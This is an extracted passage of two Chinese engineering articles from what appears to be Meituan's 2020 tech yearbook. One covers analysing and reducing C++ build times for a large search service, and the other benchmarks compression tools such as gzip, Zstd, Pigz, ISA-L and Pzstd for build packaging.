编译展开分析就是通过 C++ 的预编译阶段保留的 .ii 文件，查看通过展开后的编译

文件大小，具体可以通过在 cmake 中指定编译选型 “-save-temps” 保留编译中

间文件。

set(CMAKE_CXX_FLAGS "-std=c++11 ${CMAKE_CXX_FLAGS} -ggdb -Og -fPIC -w 
-Wl,--export-dynamic -Wno-deprecated -fpermissive -save-temps")

编译耗时的最直接原因就是编译文件展开之后比较大，通过编译展开后的文件大小

和内容，通过预编译展开分析能看到文件展开后的文件有 40 多万行，发现有大量的

Boost 库引用及头文件引用造成的展开文件比较大，影响到编译的耗时。通过这个方

式能够找到各个文件编译耗时的共性，下图是编译展开后文件大小截图。

3.2	头文件依赖分析

头文件依赖分析是从引用头文件数量的角度来看代码是否合理的一种分析方式，我们

实现了一个脚本，用来统计头文件的依赖关系，并且分析输出头文件依赖引用计数，

用来辅助判断头文件依赖关系是否合理。

(1) 头文件引用总数结果统计

通过工具统计出编译源文件直接和间接依赖的头文件的总个数，用来从头文件引入数

量上分析问题。
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(2) 单个头文件依赖关系统计

通过工具分析头文件依赖关系，生成依赖关系拓扑图，能够直观的看到依赖不合理的

地方。

图中包含引用层次关系，以及引用头文件个数。
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3.3	编译耗时结果分段统计

编译耗时分段统计是从结果上看各个文件的编译耗时以及各个编译阶段的耗时情况，

这个是直观的一个结果，正常情况下，是和文件展开大小以及头文件引用个数是正相

关的，cmake 通过指定环境变量能打印出编译和链接阶段的耗时情况，通过这个数

据能直观的分析出耗时情况。

set_property(GLOBAL PROPERTY RULE_LAUNCH_COMPILE "${CMAKE_COMMAND} -E 
time")
set_property(GLOBAL PROPERTY RULE_LAUNCH_LINK "${CMAKE_COMMAND} -E 
time")

编译耗时结果输出：

3.4	分析工具建设

通过上面的工具分析能拿到几个编译数据：

① 头文件依赖关系及个数。 ② 预编译展开大小及内容。 ③ 各个文件编译耗时。 ④ 

整体链接耗时。 ⑤ 可以计算出编译并行度。

通过这几个数据的输入我们考虑可以做个自动化分析工具，找出优化点以及界面化展

示。基于这个目的，我们建设了全流程自动化分析工具，能够自动分析耗时共性问题

以及 TopN 耗时文件。分析工具处理流程如下图所示：
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(1) 整体统计分析效果

具体字段说明：

① cost_time 编译耗时，单位是秒。 ② file_compile_size，编译中间文件大小，单

位是 M。 ③ file_name，文件名称。 ④ include_h_nums，引入头文件个数，单位

是个。 ⑤ top_h_files_info， 引入最多的 TopN 头文件。
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(2）Top10 编译耗时文件统计

用来展示统计编译耗时最久的 TopN 文件，N 可以自定义指定。
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（3）Top10 编译中间文件大小统计

通过统计和展示编译文件大小，用来判断这块是否符合预期，这个是和编译耗时一一

对应的。
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（4）Top10 引入最多头文件的头文件统计
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（5）Top10 头文件重复次数统计

目前，这个工具支持一键化生成编译耗时分析结果，其中几个小工具，比如依赖文件

个数工具已经集成到公司的上线集成测试流程中，通过自动化工具检查代码改动对

编译耗时的影响，工具的建设还在不断迭代优化中，后续会集成到公司的 MCD 平台

中，可以自动分析来定位编译耗时长的问题，解决其它部门编译耗时问题。
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四、优化方案与实践

通过运用上述相关工具，我们能够发现 Top10 编译耗时文件的共性，比如都依赖消

息总线文件 platform_query_analysis_enent.h，这个文件又直接间接引入 2000

多个头文件，我们重点优化了这类文件，通过工具的编译展开，找出了 Boost 使用、

模板类展开、Thrift 头文件展开等共性问题，并针对这些问题做专门的优化。此外，

我们也使用了一些业内通用的编译优化方案，并取得了不错的效果。下面详细介绍我

们采用的各种优化方案。

4.1	通用编译加速方案

业内有不少通用编译加速工具（方案），无需侵入代码就能提高编译速度，非常值得

尝试。

（1）并行编译

在 Linux 平台上一般使用 GNU 的 Make 工具进行编译，在执行 make 命令时可以

加上 -j 参数增加编译并行度，如 make -j 4 将开启 4 个任务。在实践中我们并不

将该参数写死，而是通过 $(nproc) 方法动态获取编译机的 CPU 核数作为编译并发

度，从而最大限度利用多核的性能优势。

（2）分布式编译

使用分布式编译技术，比如利用 Distcc 和 Dmucs 构建大规模、分布式 C++ 编译环

境，Linux 平台利用网络集群进行分布式编译，需要考虑网络时延与网络稳定性。分

布式编译适合规模较大的项目，比如单机编译需要数小时甚至数天。DQU 服务从代

码规模以及单机编译时长来说，暂时还不需要使用分布式的方式来加速，具体细节可

以参考 Distcc 官方文档说明。

（3）预编译头文件

PCH（Precompiled Header），该方法预先将常用头文件的编译结果保存起来，这

样编译器在处理对应的头文件引入时可以直接使用预先编译好的结果，从而加快整个
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编译流程。PCH 是业内十分常用的加速编译的方法，且大家反馈效果非常不错。在

我们的项目中，由于涉及到很多 Shared Library 的编译生成，而 Shared Library 相

互之间无法共享 PCH，因此没有取得预想效果。

（4）CCache

CCache（Compiler Cache 是一个编译缓存工具，其原理是将 cpp 的编译结果保存

在文件缓存中，以后编译时若对应文件无变动可直接从缓存中获取编译结果。需要注

意的是，Make 本身也有一定缓存功能，当目标文件已编译（且依赖无变化）时，若

源文件时间戳无变化也不会再次编译；但 CCache 是按文件内容做的缓存，且同一机

器的多个项目可以共享缓存，因此适用面更大。

（5）Module 编译

如果你的项目是用 C++ 20 进行开发的，那么恭喜你，Module 编译也是一个优化

编译速度的方案，C++20 之前的版本会把每一个 cpp 当做一个编译单元处理，会

存在引入的头文件被多次解析编译的问题。而 Module 的出现就是解决这一问题，

Module 不再需要头文件（只需要一个模块文件，不需要声明和实现两个文件），它

会将你的（.ixx 或者 .cppm）模块实体直接编译，并自动生成一个二进制接口文件。

import 和 include 预处理不同，编译好的模块下次 import 的时候不会重复编译，可

以大幅度提高编译器的效率。

（6）自动依赖分析

Google 也 推 出 了 开 源 的 Include-What-You-Use 工 具（简 称 IWYU）， 基 于

Clang 的 C/C++ 工程冗余头文件检查工具。IWYU 依赖 Clang 编译套件，使用该工

具可以扫描出文件依赖问题，同时该工具还提供脚本解决头文件依赖问题，我们尝试

搭建了这套分析工具，这个工具也提供自动化头文件解决方案，但是由于我们的代码

依赖比较复杂，有动态库、静态库、子仓库等，这个工具提供的优化功能不能直接使

用，其它团队如果代码结构比较简单的话，可以考虑使用这个工具分析优化，会生成

如下结果文件，指导哪些头文件需要删除。

https://ccache.dev/%EF%BC%89


后台　<　547

>>> Fixing #includes in '/opt/meituan/zhoulei/query_analysis/src/common/
qa/record/brand_record.h'
@@ -1,9 +1,10 @@
 
 #ifndef _MTINTENTION_DATA_BRAND_RECORD_H_
 #define _MTINTENTION_DATA_BRAND_RECORD_H_
-#include "qa/data/record.h"
-#include "qa/data/template_map.hpp"
-#include "qa/data/template_vector.hpp"
-#include <boost/serialization/version.hpp>
+#include <boost/serialization/version.hpp>  // for BOOST_CLASS_
VERSION
+#include <string>                       // for string
+#include <vector>                       // for vector
+
+#include "qa/data/file_buffer.h"        // for REG_TEMPLATE_FILE_
HANDLER

4.2	代码优化方案与实践

（1）前置类型声明

通过分析头文件引用统计，我们发现项目中被引用最多的是总线类型 Event，而该类

型中又放置了各种业务需要的成员，示例如下：

#include “a.h”
#include "b.h"
class Event {
// 业务 A, B, C ...
  A1 a1;
  A2 a2;
  // ...
  B1 b1;
  B2 b2;
  // ...
};

这导致 Event 中包含了数量庞大的头文件，在头文件展开后，文件大小达到 15M；

而各种业务都会需要使用 Event，自然会严重拖累编译性能。

我们通过前置类型声明来解决这个问题，即不引入对应类型的头文件，只做前置声

明，在 Event 中只使用对应类型的指针，如下所示：
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class A2;
// ...
class Event {
// 业务 A, B, C ...
  shared_ptr<A1> a1;
  shared_ptr<A2> a2;
  // ...
  shared_ptr<B1> b1;
  shared_ptr<B2> b2;
  // ...
};

只有在真正使用对应成员变量时，才需要引入对应头文件；这样真正做到了按需引入

头文件。

（2）外部模板

由于模板被使用时才会实例化这一特性，相同的实例可以出现在多个文件对象中。编

译器要对每一处模板进行实例化，链接器还要移除重复的实例化代码。当在广泛使用

模板的项目中，编译器会产生大量的冗余代码，这会极大地增加编译时间和链接时

间。C++ 11 新标准中可以通过外部模板来避免。

// util.h
template <typename T> 
void max(T) { ... }
// A.cpp
extern template void max<int>(int);
#include "util.h"
template void max<int>(int); // 显式地实例化 
void test1()
{ 
    max(1);
}

在编译 A.cpp 的时候，实例化出一个 max(int) 版本的函数。

// B.cpp
#include "util.h"
extern template void max<int>(int); // 外部模板的声明
void test2()
{
    max(2);
}
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在编译 B.cpp 的时候，就不再生成 max(int) 实例化代码，这样就节省了前面提到的

实例化，编译以及链接的耗时了。

（3）多态替换模板使用

我们的项目重度使用词典相关操作，如加载词典、解析词典、匹配词典（各种花式匹

配），这些操作都是通过 Template 模板扩展支持各种不同类型的词典。据统计，词

典的类型超过 150 个，这也造成模板展开的代码量膨胀。

template <class R>
class Dict {
public:
  // 匹配 key和 condition，赋值给 record
  bool match(const string &key, const string &condition, R &record);  
// 对每种类型的 Record都会展开一次
private:
  map<string, R> dict;
};

幸运的是，我们词典的绝大部分操作都可以抽象出几类接口，因此可以只实现针对基

类的操作：

class Record {  // 基类
public:
  virtual bool match(const string &condition);  // 派生类需实现
};
 
class Dict {
public:
  shared_ptr<Record> match(const string &key, const string &condition);  
// 使用方传入派生类的指针即可
private:
  map<string, shared_ptr<Record>> dict;
};

通过继承和多态，我们有效避免了大量的模板展开。需要注意的是，使用指针作为

Map 的 Value 会增加内存分配的压力，推荐使用 Tcmalloc 或 Jemalloc 替换默认的

Ptmalloc 优化内存分配。
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（4）替换 Boost 库

Boost 是一个广泛使用的基础库，涵盖了大量常用函数，十分方便、好用，然而也存

在一些不足之处。一个显著缺点是其实现采用了 hpp 的形式，即声明和实现均放在头

文件中，这会造成预编译展开后十分巨大。

// 字符串操作是常用功能，仅仅引入该头文件展开大小就超过 4M
#include <boost/algorithm/string.hpp>
// 与此相对的，引入多个 STL的头文件，展开后仅仅只有 1M
#include <vector>
#include <map>
// ...

在我们项目中主要使用的 Boost 函数不超过二十个，部分可以在 STL 中找到替代，

部分我们手动做了实现，使得项目从重度依赖 Boost 转变成绝大部分达到 Boost-

Free，大大降低了编译的负担。

（5）预编译

代码中有一些平常改动比较少，但是对编译耗时产生一定的影响，比如 Thrift 生成

的文件，模型库文件以及 Common 目录下的通用文件，我们采取提起预编译成动态

库，减少后续文件的编译耗时，也解决了部分编译依赖。

（6）解决编译依赖，提高编译并行度

在我们项目中有大量模块级别的动态库文件需要编译，cmake 文件指定的编译依赖

关系在一定程度上限制了编译并行度的执行。

比如下面这个场景，通过合理设置库文件依赖关系，可以提高编译并行度。
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4.3	优化效果

我们通过 32C、64G 内存机器做了编译耗时优化前后的效果对比，统计结果如下：

4.4	守住优化成果

编译优化是一件“逆水行舟”的事情，开发人员总是倾向于不断增加新的功能、新的
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库乃至新的框架，而要删除旧代码、旧库、下线旧框架总是困难重重（相信一线开发

人员一定深有体会）。因此，如何守住之前取得的优化成果也是至关重要的。我们在

实践中有以下几点体会：

 ● 代码审核是困难的（引起编译耗时增加的改动，往往无法通过审核代码直观地

发现）。

 ● 工具、流程才值得依赖。

 ● 关键在于控制增量。

我们发现，cpp 文件的编译耗时，和其预编译展开文件（.ii）大小呈正相关（绝大部分

情况下）；对每一个上线版本，将其所有 cpp 文件的预编译展开大小记录下来，就形

成了其编译指纹（CF，Compile Fingerprint）。通过比较相邻两个版本的 CF，就能

较准确的知道新版带来的编译耗时主要由哪些改动引入，并可以进一步分析耗时上涨

是否合理，是否有优化空间。

我们将该种方式制作成脚本工具并引入上线流程，从而能够很清楚的了解每次代码发

版带来的编译性能影响，并有效地帮助我们守住前期的优化成果。

五、总结

DQU 项目是美团搜索业务环节中重要的一环，该系统需要对接 20+RPC、数十个模

型、加载超过 300 个词典，使用内存数十 G，日均响应请求超过 20 亿的大型 C++

服务。在业务高速迭代的情况，冗长的编译时间为开发同学带来较大的困扰，一定

程度上制约了开发效率。最终我们通过编译优化分析工具建设，结合采用了通用编

译优化加速方案和代码层面的优化，将 DQU 的编译时间缩短了 70%，并通过引

CCache 等手段，使得本地开发的编译，能够在 100s 内完成，给开发团队节省了大

量的时间。

在取得阶段性成果之后，我们总结整个问题解决的过程，并沉淀出一些分析方法、

工具以及流程规范。这些工具在后续的开发迭代过程中，能够快速有效地检测新的
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代码变更带来的编译时间变化，并成为了我们的上线流程检查中的一环检测标准。

这一点与我们以往一次性的或者针对性的编译优化，产生了很大的区别。毕竟代码

的维护是一个持久的过程，系统化的解决这一问题，不只是需要有效的方法和便捷

的工具，更需要一个标准化的，规范化的上线流程来保持成果。希望本文对大家能

有所帮助。
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速度与压缩比如何兼得？压缩算法在构建部署中的优化

作者：宏达

背景

通常而言，服务发布平台的构建部署的流程（镜像部署除外）会经过构建（同步代码 

-> 编译 -> 打包 -> 上传）、部署（下载包 -> 解压到目标机器 -> 重启服务）等步

骤。以美团内部的发布平台 Plus 为例，最近我们发现一些发布项在构建产物打包压

缩的过程中耗时比较久。如下图所示的 pack 步骤，一共消耗了 1 分 23 秒。

而在平常为用户解答运维问题的时候我们也发现，很多用户会习惯将一些较大的机器

学习或者 NLP 相关的数据放入到仓库中，这部分数据往往占据几百兆，甚至占据几

个 GB 的磁盘空间，十分影响打包的速度。 Java 项目也是如此，由于 Java 服务框

架繁多，依赖也多，通常这些服务打包后也要占据百兆级别的空间，耗时也会达到十

多秒。下图是我们的 pack 步骤的中位数，基本上大部分的 Java 服务和 Node.js 服

务都至少要消耗 13s 左右的时间来做压缩打包 。
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pack 作为几乎所有需要部署的服务必需步骤，它目前的耗时基本上仅低于编译和构

建镜像，因此，为了提高整体构建的效率，我们准备对 pack 打包压缩的步骤进行一

轮优化工作。

方案对比

准备场景数据

发布项的包大小分析

为了尽可能地模拟构建部署中的应用场景，我们将 2020 年的部分构建包数据进行了

整理分析，其中压缩后的包大小如下图所示，钟形曲线说明了整体的包体积呈正态分

布，并且有着较明显的长尾效应。压缩后体积主要在 200M 以内，压缩前的大小大致

在 516.0MB 以内。

而 99% 的服务压缩包大小会在 1GB 以内，而对于压缩步骤而言，其实越大的项目

耗时越明显，优化的空间越大。因此，我们在针对性的方案对比测试中选择了 1GB 

左右的构建包进行压缩测试，既能覆盖 99% 的场景，也可以看出压缩算法之间比较

明显的提升。

这样选择的主要原因如下：

1. 数据大的情况下计算结果会比小数据误差小很多。

2. 能够覆盖绝大多数应用场景。

3. 效果对比明显，可以看到是否有明显的提升。

备注：由于在相同压缩库相同压缩比等配置的情况下，Compression Speed 并没有

明显变化，因此没有做其它包体积的批量测试和数据汇总。
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本文中我们使用的测试项目为美团内部的较大型的 C++ 项目，其中文件类型除去 

C++、Python、Shell 代码文件，还有 NLP、工具等二进制数据（不包括 .git 中存储

的提交数据），数据类型比较全面。

目录大小为 1.2G，也可以比较清晰地对比出不同方案之间的差距。

gzip

gzip 是基于 DEFLATE 的算法，它是 LZ77 和 Huffman 编码 的结合。DEFLATE 

的目的是为了取代 LZW 和其他受专利保护的数据压缩算法，因为这些算法在当时限

制了压缩和其他流行的存档器的可用性（Wikipedia）。

我们通常使用 tar -czf 命令来进行打包并且压缩的操作，z 参数正是使用 gzip 的

方式来进行压缩。DEFLATE 标准（RFC1951）是一个被广泛使用的无损数据压缩

标准。它的压缩数据格式由一系列块构成，对应输入数据的块，每一块通过 LZ77 

（基于字典压缩，就是将最高概率出现的字母以最短的编码表示）算法和 Huffman 编

码进行压缩，LZ77 算法通过查找并替换重复的字符串来减小数据体积。

文件格式

 ● 一 个 10 字 节 的 报 头， 包 含 一 个 魔 数 (1f 8b)， 压 缩 方 法 （比 如 08 用 于 

DEFLATE），1 字节的 header flags，4 字节的时间戳，compression flags 

和操作系统 ID。

https://en.wikipedia.org/wiki/DEFLATE
https://en.wikipedia.org/wiki/LZ77_and_LZ78
https://en.wikipedia.org/wiki/Huffman_coding
https://en.wikipedia.org/wiki/LZW
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 ● 可选的额外 headers，包括原始文件名、注释字段、“extra” 字段和 header 

的 CRC-32 校验码 lower half 。

 ● DEFLATE 压缩主体。

 ● 8 字节的 footer，包含 CRC-32 校验以及原始未压缩的数据。

我们可以看到 gzip 是主要基于 CRC 和 Huffman LZ77 的 DEFLATE 算法，这也

是后面 ISA-L 库的优化目标。

Brotli

Alakuijala 和 Szabadka 在 2013-2016 年完成了 Brotli 规范，该数据格式旨在

进一步提高压缩比，它在优化网站速度上有大量应用。Brotli 规范的正式验证是由 

Mark Adler 独立实现的。Brotli 是一个用于数据流压缩的数据格式规范，它使用了

通用的 LZ77 无损压缩算法、Huffman 编码和二阶上下文建模（2nd order context 

modelling）的特定组合。大家可以参考这篇论文 查看其实现原理。

因为语言本身的特性，基于上下文的建模方法 （Context Modeling）可以得到更好的

压缩比，但由于它的性能问题很难普及。当前比较流行的突破算法有两种：

 ● ANS：Zstd, lzfse

 ● Context Modeling：Brotli, bz2

具体测试数据见下文。

Zstd

Zstd 全称叫 Zstandard，是一个提供高压缩比的快速压缩算法，主要实现的编程语

言为 C，是 Facebook 的 Yann Collet 于 2016 年发布的，Zstd 采用了有限状态

熵（Finite State Entropy，缩写为 FSE）编码器。该编码器是由 Jarek Duda 基于

ANS 理论开发的一种新型熵编码器，提供了非常强大的压缩速度 / 压缩率的折中方案

（事实上也的确做到了“鱼”和“熊掌”兼得）。Zstd 在其最大压缩级别上提供的压

缩比接近 lzma、lzham 和 ppmx，并且性能优于 lza 或 bzip2。Zstandard 达到了 

https://research.google/pubs/pub47824/
https://github.com/Cyan4973/FiniteStateEntropy
https://github.com/Cyan4973/FiniteStateEntropy
http://arxiv.org/abs/1311.2540
http://arxiv.org/abs/1311.2540
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Pareto frontier（资源分配最佳的理想状态），因为它解压缩速度快于任何其他当前可

用的算法，但压缩比类似或更好。

对于小数据，它还特别提供一个载入预置词典的方法优化速度，词典可以通过对目标

数据进行训练从而生成。

官方	Benchmark	数据对比

压缩级别可以通过 –fast 指定，提供更快的压缩和解压缩速度，相比级别 1 会导致

压缩比率的一些损失，如上表所示。Zstd 可以用压缩速度换取更强的压缩比。它是

可配置的小增量，在所有设置下，解压缩速度都保持不变，这是大多数 LZ 压缩算法

（如 zlib 或 lzma）共享的特性。

 ● 我 们 采 用 Zstd 默 认 的 参 数 进 行 了 测 试， 压 缩 时 间 8.471s 仅 为 原 来 的 

11.266%，提升了 88.733%。

 ● 解压时间 3.211 仅为原来的 29.83%，提升约为 70.169%。

 ● 同时压缩率也从 2.548 提升到了 2.621。

LZ4

LZ4 是一种无损压缩算法，每核提供大于 500 MB/s 的压缩速度（大于 0.15 Bytes/

cycle）。它的特点是解码速度极快，每核速度为多 GB/s（ 约 1 Bytes/cycle ）。

从上面的 Zstd 的 Benchmark 对比中，我们看到了 LZ4 算法效果十分出众，因此我

们也对 LZ4 进行了对比，LZ4 更加侧重压缩解压速度，尤其是解压缩的速度，压缩

https://en.wikipedia.org/wiki/Pareto_efficiency
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比并不是它的强项，它默认支持 1-9 的压缩参数，我们分别进行了测试。

LZ4 使用默认参数压缩速度十分优秀，比 Zstd 快很多，但是压缩比并不高，比 Zstd 

压缩后多了 206 MB，足足多了 46%，这就意味着更多的数据传输时间和磁盘空间

占用。即使是最大的压缩比也并不高，仅仅从 1.79 提升到了 2.11，但是耗时却从 5s 

提升到了 51s。通过对比，LZ4 的确在压缩率上并不是最优秀的方案，在 2.x 级别压

缩率上基本上时间优势荡然无存，而且还有一点，就是 LZ4 目前官方并没有对多核 

CPU 并行压缩的支持，所以在后续的对比中，LZ4 丧失了压缩解压缩速度的优势。

Pigz

Pigz 的作者 Mark Adler，同时也是 Info-ZIP 的 zip 和 unzip、GNU 的 gzip 和 

zlib 压缩库的共同作者，并且是 PNG 图像格式开发工作的参与者。

Pigz 是 gzip 的并行实现的缩写，它主要思想就是利用多个处理器和核。它将输入分

成 128 KB 的块，每个块都被并行压缩。每个块的单个校验值也是并行计算的。它

的实现直接使用了 zlib 和 pthread 库，比较易读，而且重要的是兼容 gzip 的格式。

Pigz 使用一个线程（主线程）进行解压缩，但可以创建另外三个线程进行读、写和检

查计算，所以在某些情况下可以加速解压缩。

一些博客在 i7 4790K 这样的家用 PC 平台中测试 Pigz 的压缩性能时，并没有十分

高的速度，但在我们真机验证的数据中提升要明显很多。通过测试，它的压缩时间执

行速度只用了 1.768s，充分发挥了我们平台物理机的性能，User 时间（CPU 时间

之和）一共使用了 1m30.569s，这和前面的使用 gzip 单线程的方式速度几乎是一个

级别。压缩率 2.5488 和正常使用 tar -czf 几乎相差不多。

ISA-L	Acceleration	Version

ISA-L 是一套在 IA 架构上加速算法执行的开源函数库，目的在于解决存储系统的计

算需求。 ISA-L 使用的是 BSD-3-Clause License ，因此在商业上同样可以使用。

使用过 SPDK（Storage Performance Development Kit ）或者 DPDK（Data Plane 

https://github.com/intel/isa-l/blob/master/LICENSE
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Development Kit）应该也听说过 ISA-L ，前者使用了 ISA-L 的 CRC 部分，后者使

用了它的压缩优化。ISA-L 通过使用高效的 SIMD （Single Instruction, Multiple Data）

指令和专用指令，最大化的利用 CPU 的微架构来加速存储算法的计算过程。ISA-L 底

层函数都是使用手工汇编代码编写，并在很多细节上做了调优（现在经常要考虑 ARM 

平台，本文中所提及的部分指令在该平台支持度不高甚至是不支持）。

ISA-L 对压缩算法主要做了 CRC、DEFLATE 和 Huffman 编码的优化实现，官方

的数据指出 ISA-L 相比 zlib-1 有 5 倍的速度提升。

举例来说，不少底层的存储开源软件实现的 CRC 都使用了查表法，代码中存储或

者生成了一个 CRC value 的表格，然后计算过程中查询值，ISA-L 的汇编代码中

包含了无进位乘法指令 PCLMULQDQ 对两个 64 位数做无进位乘法，最大化 intel 

PCLMULQDQ 指令的吞吐量来优化 CRC 的性能。更好的情况是 CPU 支持 AVX-

512，就可以使用 VPCLMULQDQ（PCLMULQDQ 在 EVEX 编码的 512 bit 版本

实现）等其它优化指令集（查看是否支持的方式见“附录”）。

备注：截图来自 crc32_ieee_by16_10.asm

使用

ISA-L 实现的压缩优化级别支持 [0,3]，3 为压缩比最大的版本，综合考虑我们采用
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了最大的压缩比，虽然压缩比 2.346 略低于 gzip 不过影响不大。在 2019 年 6 月发

布的 v2.27 版本里，ISA-L 加了多线程的 Feature，因此在后续的测试中，我们采

用了多线程并发的参数，效果提升比较显著。

由于我们构建机器的系统为 Centos7 需要自行编译 ISA-L 的依赖，比如 nasm 等

库，所以在安装配置上会比较复杂，ISA-L 支持多种优化参数比如，IGZIP_HIST_

SIZE（压缩过程中加大滑动窗口），LONGER_HUFFTABLES，更大的 Huffman 

编码表，这些编译参数也会对库有很大提升。

压缩时间

real  0m1.372s
user  0m5.512s
sys 0m1.791s

测试后的效果相当惊人，是目前对比方案中最为快速的，时间上节省了	98.09%。

由于和 gzip 格式兼容，因此同样可以使用 tar -xf 命令进行解压，后续的解压缩测

试过程中，我们使用的仍然是 ISA-L 提供的解压方式。

Pzstd

通过 Pigz 的测试，我们就在想，是否 Zstd 这样优秀的算法也可以支持并行呢，在

官方的 Repo 中，我们十分惊喜地发现了一个“宝藏”。

Pzstd 是 C++11 实现的并行版本的 Zstandard （Zstd 也在这之后加入了多线程的

支持），类似于 Pigz 的工具。 它提供了与 Zstandard 格式兼容的压缩和解压缩功

能，可以利用多个 CPU 核心。 它将输入分成相等大小的块，并将每个块独立压缩为 

Zstandard 帧。 然后将这些帧连接在一起以产生最终的压缩输出。 Pzstd 同样支持

文件的并行解压缩。 解压缩使用 Zstandard 压缩的文件时，PZstandard 在一个线

程中执行 IO，而在另一个线程中进行解压缩。

下图是和 Pigz 的压缩和解压缩速度对比，来自官方 Github 仓库（机器配置为：



562　>　美团 2020 技术年货

Intel Core i7 @ 3.1 GHz, 4 threads），效果比 Pigz 还要出色，具体对比数据见

下文：

Pied	Piper	(Middle-out	compression)

Middle-out Compression 最初是在美剧中提到的一个概念，不过现在已经有了一

个真正的实现 middle-out，该算法目前小范围应用在压缩时序数据中，由于缺乏成

熟地理论支撑以及数据对比，没有正式进入方案的对标。

备注：Pied Piper 是美剧《硅谷》 中虚拟出来的公司和算法。

https://github.com/schizofreny/middle-out
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兼容性

本文中调研所提及的对比方案，都是统一在构建集群中的机器中进行测试，由于构建

系统 在线上的机器集群配置高度统一（包括硬件平台和系统版本），所以兼容性表现

和测试数据也高度吻合。

选型

实际上，部分官方的测试机器的配置和美团构建平台的物理机配置并不一致，场景可

能也有区别，上面引用的测试结果中所使用的 CPU 以及平台架构和编译环境和我们

所用的也有些出入，而且大多数还是家用的硬件比如 i7-4790K 或者 i9-9900K，这

也是需要使用构建平台的物理机和具体的构建包压缩场景来进行测试的原因，因为这

样才能得出最接近我们使用场景的数据。

对比数据

几个方案的数据对比如下表格（在本文中的时间数据选择是通过多次运行后，选择结

果的中位数）：

压缩时间对比

从整个构建后的压缩构建包的时间可视化图中可以看出，最初版本的 gzip 压缩相当

耗时，而采取 Pzstd 是最快速的方案，ISA-L 稍慢，Pigz 略微慢一点，这三者都可

以达到从	1m11s	到	1s	左右的优化，最快可以节省	98.51%	的压缩时间。
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解压缩时间对比

解压缩的时间上并没有像压缩效率相差很多，在 GB 级别的项目中压缩比 2.5-2.6 

范围内时，时间都在 11s 以内。而且为了最大兼容已有的实现和保持稳定性，解压

方案优先考虑兼容 gzip 格式的策略，这样对部署目标机器的侵入性最小，即可以使

用 tar -xf 解压的方案优先。

而在后面的方案实施中，由于部署需要稳定可靠的环境，所以我们暂时没有对部署机

器做环境改造。

下面的时间对比是分别使用各自的解压方案的对比：

 ● Pzstd 解压速度最快，相比 Gzip 节省了 86.241% 的时间。

 ● Zstd 算法的解压缩效率其次，大约可以节省 70.169% 的解压时间。

 ● ISA-L 可节省 61.9658% 的时间。

 ● Pigz 可节省 43.357% 的解压时间。

 ● Brotli 解压可以节省 29.02% 的时间。
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压缩比的对比

压缩比的对比中 Zstd 和 Pzstd 有一些优势，其中 Brotli 和 LZ4 由于支持的参数限

制，比较难测试同级别压缩比下的速度，因此选择了压缩比稍低的参数，但是效率仍

然距离 Pigz 和 Pzstd 存在一些差距。

而 ISA-L 的实现在压缩比上有一些牺牲，不过并没有差距很大。
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优劣分析总结

在本文开始阶段，我们介绍了构建部署流程，因此我们此次优化的目标时间大致计算

公式如下：

在测试案例对比中，时间耗时的顺序为 Pzstd < ISA-L < Pigz < LZ4 < Zstd < 

Brotli < Gzip （排名越靠前越好），其中压缩和解压缩的时间在整体的耗时上占比较

大，因此备选策略为 Pzstd、ISA-L、Pigz。
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当然，这其中还存在磁盘空间的成本优化问题，即压缩比可能对磁盘空间产生优化，

但是对构建的耗时会产生负优化，不过由于目前时间维度是我们优化的主要目标，比

磁盘成本和上传带宽成本要重要，因此压缩比采用了较为普遍或者默认最优的压缩比

方案，即在 2.3 - 2.6 范围内。不过在一些内存型数据库等存储介质成本较为高的场

景中，也许要综合多个方面需要更多考量，请大家知悉。

评分策略

比较于 gzip，新算法都具有想当不错的速度，但是由于压缩格式的向前不兼容，加上

需要客户端（部署目标机器）的支持，可能方案实施周期会较长。

而对于部署来说，可能收益并不是十分明显，反而加重了一些维护和运维成本，所以

我们暂时没有把 Pzstd 的方案放到较高的优先级。

选型的策略主要有基于如下原则：

 ● 整体耗时优化提升最大，这也是整体优化方案的出发点。

 ● 保证最大兼容性，为了让接入构建平台的业务和平台减少改动成本，需要保持

方案的兼容性（优先考虑最大兼容的策略，即兼容 gzip 的方案优先）。

 ● 保证部署目标机器环境的稳定和可靠，选择对部署机器侵入最小的方案，这样

无需安装客户端或者库。

 ● 压缩场景在真机模拟测试中完全契合美团构建平台的场景，即在我们现有的物

理机平台和目标压缩场景中对比数据效果良好。

 ● 其实本问题更全面的评分角度有很多维度，比如对象存储的磁盘成本、带宽成

本、任务耗时，甚至是机器成本，不过为了简化整体方案的选型，我们省略了

一些计算，同时压缩比的对比选择上也选择了各自官方推荐的范围。

综合以上几点，决定一期采取 ISA-L 的方式加速，可以最稳定并且较高速地提升构

建平台的效率，未来可能会实现 Pzstd 的方案，下面的数据为一期的结果。
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优化效果

为了方便结果的展示，我们过滤出了部分打包时间较长的发布项展示出来（这些耗时

很久的项目往往十分影响用户的使用体验，而且总体的占比在 10% 左右），这部分任

务优化的时间从 27s 到 72s 不等，过去越是项目大的项目压缩时间越长，如今压缩

时间都可以稳定在 10s 以内，而且是在我们的机器同时执行多个任务的情况下。

而后我们将优化前的 Pack 步骤（压缩 + 上传）部分打点数据，以及优化后的部分打

点数据做了汇总，得出了平均的优化效果对比，数据如下：

1. 在我们之前的一个构建包的统计中，多数的构建包压缩后在 100MB 左右，压

缩前大概是在 250MB，按照 gzip 算法的压缩速度的确会在 10s 左右的级别。

2. 由于构建的物理机可能同时运行多个任务，所以实际压缩效果会比测试中稍

微耗时多一点。
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压缩平均节省了	90%	的时间。

写在后面
 ● 由于文中提到的一些方案涉及到具体平台环境的 CPU 指令集，甚至库的编译

环境，编译参数也会影响具体的效果，所以推荐在方案实施的时候对集群环境

保持统一，也可为集群环境做特殊的定制优化。

 ● 为 Centos 打包 RPM 文件的时候尤其需要注意下编译环境的配置，否则可能

效果和测试会有出入。

 ● Java 的 Jar 包 和 War 包也可能进行压缩，针对这种场景，压缩率的确提升

不大，但是速度依旧有提升。

作者简介
宏达，美团基础技术部研发工程师。

团队简介
基础技术部 - 研发质量及效率部 - 代码仓库和构建组，团队旨在建设代码仓库管理、协作及代

码构建能力，完善多维度的工作流执行引擎及构建工具链，与公司其他研发工具打通，提高业

务整体的开发、交付效率。
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附录

机器环境

文中的测试统一在如下物理机中进行，测试中使用相同的目标文件。测试 机使用的是

非 PCIE SSD 磁盘。

inxi -Fx 省略部分数据输出如下，其中一些并行指令集在优化中可能会使用到。其中 
flags 中可以看到支持 avx avx2 指令集，并不支持 avx-512 ，不过仍然有很大性能提升。
System:   Host: ****** Kernel: ****** bits: 64 compiler: gcc v: 4.8.5 
Console: tty 7 Distro: CentOS Linux release 7.1.1503 (Core)

